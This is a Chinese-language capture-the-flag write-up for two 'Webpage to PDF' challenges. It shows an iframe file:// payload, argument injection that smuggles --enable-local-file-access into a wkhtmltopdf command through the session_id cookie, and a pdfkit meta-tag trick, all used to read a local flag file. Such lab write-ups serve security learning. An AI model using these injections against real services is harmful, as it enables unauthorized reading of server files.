Webpage to PDF Writeup
Webpage to PDF (1)
题目描述
Thanks to Poe I coded a webpage to PDF in seconds! I am genius right?
Chilli Level:
随便输了一个网站看看会返回什么内容
发现服务器会解析网页并返回 PDF 文件,那我们的思路就是使用 file:///
协议来读取文件
使用 jsbin 来把 Payload 传入靶机
<h1>blahblah</h1>
<iframe src="file:///flag.txt" width="100%" height="100%"></iframe>
我们可以发现网站报错 Blocked access to file /flag.txt
于是从源码中查找思路,找到 wkhtmltopdf
命令,并且使用了 execute_command
函数来执行 Shell
命令
html_file = f"{session_id}.html"
pdf_file = f"{session_id}.pdf"
stdout, stderr, returncode = execute_command(f'wkhtmltopdf {html_file} {pdf_file}')
def execute_command(command):
# Split the command into arguments safely
args = shlex.split(command)
try:
# Execute the command and capture the output
result = subprocess.run(
args,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
check=True # Raises CalledProcessError for non-zero exit codes
)
return result.stdout, result.stderr, result.returncode
except subprocess.CalledProcessError as e:
# Return the error output and return code if command fails
return e.stdout, e.stderr, e.returncode
通过搜索,找到 The same origin policy allows local files to be read by default #4536
在这个 issue 中,我们可以看到 wkhtmltopdf
默认是不允许读取本地文件的,但是可以通过 --enable-local-file-access
参数来开启
wkhtmltopdf --enable-local-file-access example.html flag.pdf
再观察回源代码的执行方式,由于 session_id
是可控的,所以我们可以通过 session_id
来构造这个命令
# 原命令
wkhtmltopdf <session_id>.html <session_id>.pdf
# 构造命令
session_id = "--enable-local-file-access b370c533-8a49-47d6-83c6-35d720fe285c"
wkhtmltopdf --enable-local-file-access b370c533-8a49-47d6-83c6-35d720fe285c.html --enable-local-file-access b370c533-8a49-47d6-83c6-35d720fe285c.pdf
因为要读取 b370c533-8a49-47d6-83c6-35d720fe285c.html
,所以我们先不修改 session_id
,把 Payload 传入靶机,再通过修改 session_id
为 --enable-local-file-access b370c533-8a49-47d6-83c6-35d720fe285c
来读取 flag
Webpage to PDF (2)
题目描述
Okok I know Poe I used was bad and I just install library randomly from the Internet. I should be fine right?
Chilli Level:
与第一题不一样的是,题目换掉了 execute_command
函数,取而代之的是 pdfkit
库
@app.route('/process', methods=['POST'])
def process_url():
# Get the session ID of the user
session_id = request.cookies.get('session_id')
pdf_file = f"{session_id}.pdf"
# Get the URL from the form
url = request.form['url']
# Download the webpage
response = requests.get(url)
response.raise_for_status()
# Make PDF
pdfkit.from_string(response.text, pdf_file)
return redirect(pdf_file)
在 requirements.txt
中可以看到 pdfkit
库的版本是 1.0.0,所以我们可以前往 pypi.org 查看文档和源码
使用 <meta>
标签可以给 wkhtmltopdf
添加运行参数,既然我们需要添加 --enable-local-file-access
参数,那我们就可以使用 <meta>
标签来添加
<meta name="pdfkit-enable-local-file-access" content="" />
这样就开启了 wkhtmltopdf
的本地文件访问权限,还是使用 file://
协议来读取文件就可以读到 flag